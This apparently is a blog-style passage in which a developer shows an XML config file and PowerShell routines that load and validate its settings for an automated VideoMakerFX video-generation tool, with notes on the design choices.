    <add key="VideoDirectoryLaptop" value="c:\Videos\DubliBiz\GeneratedCustomerVideos\" />
    <add key="VideoDirectoryRDP" value="C:\Users\Administrator\Documents\VideoMakerFX\Exported Videos\" />
    <add key="TemplateConfigDirectory" value="C:\Amerisoft\trunk\WukarVideoTools\Data\" />
    <add key="TemplateDirectory" value="C:\Amerisoft\trunk\WukarVideoTools\Data\" />
    <add key="CSVHistoryFilename" value="C:\Amerisoft\trunk\WukarVideoTools\Data2\SummaryResults.csv" />
    <add key="DesiredHotelTemplate" value="Neal_Hotel.prj" />
    <add key="DesiredAppliancesTemplate" value="CustomerTemplate - Appliances 3.prj" />
    <add key="DesiredBATemplate" value="Neal_BA_1.prj" />
    <add key="DesiredKeywordType" value="Customer" />
    <add key="VideoProductionWaitSeconds" value="60" />
    <add key="PostInitialWaitSeconds" value="30" />
    <add key="CustomKeywordPostWaitSeconds" value="30" />
    <add key="PostMaxSeconds" value="150" />
    <add key="MaxWaitSecondsNewKeyword" value="45" />
    <add key="IsPostOnOff" value="Off" />
    <add key="UploadVideoDirectory" value="c:\Videos\DubliBiz\GeneratedCustomerVideos\Upload\" />
    <add key="UploadVideoMoveToDirectory" value="c:\Videos\DubliBiz\GeneratedCustomerVideos\Uploaded\" />
    <add key="UploadKeywordType" value="Customer" />

Retrieving single values from the config is done using these two functions:

function LoadConfigString ($configFile, $appSettingsKey) 
    $configXml = [xml](get-content $configFile)
    [string]$lookupValue = $($configXml.configuration.appSettings.add | where { $_.key -eq $appSettingsKey }).value 
    return $lookupValue 

function LoadConfigInt ($configFile, $appSettingsKey) 
    $configXml = [xml](get-content $configFile)
    [int]$lookupValue = $($configXml.configuration.appSettings.add | where { $_.key -eq $appSettingsKey }).value 
    return $lookupValue 
### Example calls to functions above ###
$slideWaitSeconds = LoadConfigInt $configFilename "SlideWaitSeconds"
$videoDirectory      = LoadConfigString $configFilename "VideoDirectory"

Below are my data validation routines.

Function Test-XMLFile ($xmlFilePath) 
    # Returns $true if file exists and is valid XML 

    # Check the file exists
    if (!(Test-Path -Path $xmlFilePath))
         throw "$xmlFilePath is not valid. Please provide a valid path to the .xml file"
    # Check for Load or Parse errors when loading the XML file
    $xml = New-Object System.Xml.XmlDocument
       $xml.Load((Get-ChildItem -Path $xmlFilePath).FullName)
       return $true
    catch [System.Xml.XmlException] 
	   #this message may help user debug or at least see the detailed issue of the file. 
       Write-Trace "$xmlFilePath : $($_.toString())" Y 
	   #TODO - why did line above have Write-Verbose, what does that do? 
       return $false

function Is-Numeric-Int ($Value) 
    #use Regular Expression to verify if a string is a number 
    return $Value -match "^[\d]+$"

function Is-Email ($testEmail) 
    #use Regular Expression to verify if a string is an email 
    $EmailRegex = '^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,4})$';
    if ($testEmail -match $EmailRegex) {
        return $true 
    else {
        return $false 

function IsXMLConfigFileDataValid

    param($configFilename = $(throw "You must specify a config file"))

    $intVarNames = @("MaxScanDetailRows","SlideWaitSeconds","LoggingLevel","MonitorStartX", 
                     "PostInitialWaitSeconds", "CustomKeywordPostWaitSeconds",
                     "PostMaxSeconds", "MaxWaitSecondsNewKeyword", "MaxReuseOfSameVideoStyle"
    $YNVarNames = @("YNPlayTuneOnChangeVideo")
    $OnOffVarNames = @("IsPostOnOff")
    $PathVarNames = @("VideoDirectory", "VideoDirectoryShort", "TemplateConfigDirectory", 
    $PathVarNamesBlankOK = @("KeywordSourceFile", "UploadVideoDirectory", "UploadVideoMoveToDirectory") 
    $PathVarNamesWithoutFile = @("CSVHistoryFilename") 
    $templateNames = @("DesiredHotelTemplate","DesiredAppliancesTemplate","DesiredBATemplate")
    $emailVarNames = @("EmailRecipient","GmailUser")
    $global:appSettings = @{}
    $config = [xml](get-content $configFilename)
    foreach ($addNode in $config.configuration.appsettings.add) {
     if ($addNode.Value.Contains(',')) 
      # Array case
      $value = $addNode.Value.Split(',')

      for ($i = 0; $i -lt $value.length; $i++) 
            $value[$i] = $value[$i].Trim()
      # Scalar case
      $value = $addNode.Value
     $global:appSettings[$addNode.Key] = $value
    #enumerate the hash table in code - maybe we want to write to trace? 
    $enum = "N" 
    if ($enum -eq "Y") 
            foreach($key in $($global:appSettings.keys)){
                Write-Host "$key=$($global:appSettings[$key])"

    $IsValid = $true   #start by assuming valid, unless reset to $false below in any one of the tests 
    Write-Host "*** Starting Validation ***" 
    #enumerate the hash table in code and validate integers 
    foreach($key in $($global:appSettings.keys)){

        if ($intVarNames -contains $key) 
           if (!(Is-Numeric-Int($global:appSettings[$key])))
                   Write-Host "Variable must be an Numeric Integer: $key=$($global:appSettings[$key])"
                   $IsValid = $false 

        if ($YNVarNames -contains $key) 
           if ($global:appSettings[$key] -ne "Y" -and $global:appSettings[$key] -ne "N")
                   Write-Host "Variable must be have value of "Y" or "N": $key=$($global:appSettings[$key]) "
                   $IsValid = $false 

        if ($PathVarNames -contains $key) 
           if (!(Test-Path $global:appSettings[$key]))  
                   Write-Host "Path does not exist on your disk: $key=$($global:appSettings[$key]) "
                   $IsValid = $false 

        if ($PathVarNamesBlankOK -contains $key) 
           if ($global:appSettings[$key] -ne "")
               if (!(Test-Path $global:appSettings[$key]))  
                       Write-Host "Non-Blank value, and Path does not exist on your disk: $key=$($global:appSettings[$key]) "
                       $IsValid = $false 

        if ($PathVarNamesWithoutFile -contains $key) 
           $testJustThePath = split-path $global:appSettings[$key]  #get just the pathname part 
           #$filename = split-path "C:\Docs\*.xls" -leaf    #this returns just the filename part 
           if (!(Test-Path $testJustThePath))  
                   Write-Host "Path does not exist on your disk: $key=$($global:appSettings[$key]) (file does not have to exist, just the path: $testPath)"
                   $IsValid = $false 


        if ($OnOffVarNames -contains $key) 
           if ($global:appSettings[$key] -ne "on" -and $global:appSettings[$key] -ne "off")
                   Write-Host "Expected value of 'on' or 'off': $key=$($global:appSettings[$key]) "
                   $IsValid = $false 

        if ($emailVarNames -contains $key) 
           if (!(Is-Email($global:appSettings[$key])))
                   Write-Host "Not a valid email address: $key=$($global:appSettings[$key]) "
                   $IsValid = $false 


        if ($templateNames -contains $key) 
           $templateDirectoryName = $global:appSettings["TemplateDirectory"]
           $testTemplateFilename = $templateDirectoryName + $global:appSettings[$key]   #get just the pathname part 
           $templateExtension = [System.IO.Path]::GetExtension($testTemplateFilename)
           #write-host "testTemplateFilename=$testTemplateFilename"
           #$filename = split-path "C:\Docs\*.xls" -leaf    #this returns just the filename part 
           if (!(Test-Path $testTemplateFilename))  
                   Write-Host "Template filename does not exist on your disk: $key=$($global:appSettings[$key]) (in your TemplateDirectory: $templateDirectoryName)"
                   $IsValid = $false 
           if ($templateExtension -ne ".prj") 
                   Write-Host "File extension for template must be .prj: $key=$($global:appSettings[$key])"
                   $IsValid = $false 


    ### special hard-coded validations ###
    if (!("Net40Net35Net20".Contains($global:appSettings["WatinDotNet"])))
                   Write-Host "WatinDotNet must have value of: Net40, Net35, Net20 (depending of the version of .NET on your computer) $key=$($global:appSettings[$key])"
                   $IsValid = $false 

    if ($global:appSettings["UploadKeywordType"] -ne "Customer" -and $global:appSettings["UploadKeywordType"] -ne "BA")
                   Write-Host "UploadKeywordType must have value of 'Customer' or 'BA'  $key=$($global:appSettings[$key])"
                   $IsValid = $false 

    if ($global:appSettings["DesiredKeywordType"] -ne "Customer" -and $global:appSettings["DesiredKeywordType"] -ne "BA")
                   Write-Host "DesiredKeywordType must have value of 'Customer' or 'BA'  $key=$($global:appSettings[$key])"
                   $IsValid = $false 

    ##### final logic #####
    if (!($IsValid))
           Write-Host "***********************************************************************************" 
           Write-Host "**** Error VAL-01: Config file has errors, see above." 
           Write-Host "**** configFileName=$configFilename"
           Write-Host "***********************************************************************************" 

    return $IsValid

$configFilename = "$($PSScriptRoot)\Data\Wukar_Config.xml"
$result1 = Test-XMLFile $configFilename 
Write-Host "Validation Result1 = $result1" 
if ($result1) 
      $result2 = isXMLConfigFileDataValid $configFilename
      Write-Host "Validation Result2 = $result2" 

The general idea is that in the documentation, I will advise the user to run the validation program before starting the application. The application itself will probably also run the validation and fail to start if any issues have. The idea is that it is better to fail immediately, then to run for 5 or 10 minutes, then fail later, only when some variable is used for the first time. My application is made to actually run 24 hours a day, creating hundreds of spin-off VideoMakerFX videos from a video template.

The downside of building this application in Powershell vs C# is that it becomes basically “Open Source”, the users can see all my code, and even share it with others. I will be adding a license key to the config file, but with the source code, that could be easily skipped over. Thus, I’m counting on honest customers who don’t know how to code. I may call a few C# routines here and there just to make hide a few features.

Here were some of my ideas on the above validation routine.

1. I categorized the config parms into categories: integers, paths, YN Variables, Emails, Templates, etc…
I then loop through all the Key= values in the app config file, looking to see if each config variable-name matches an array an array of one of the validation. If it is a match, that validation is done against the value of that key.
2. Some of the tricky parts were with the disk paths. Some of them I will allow to be blank, i.e. they are not always used.
Some require folder names only, and some require fully qualified file names.
3. I used two function Is-Numeric and Is-Email that do Regular Expression (Reg Ex) matches on the data.

Here is the video that describes what my application does: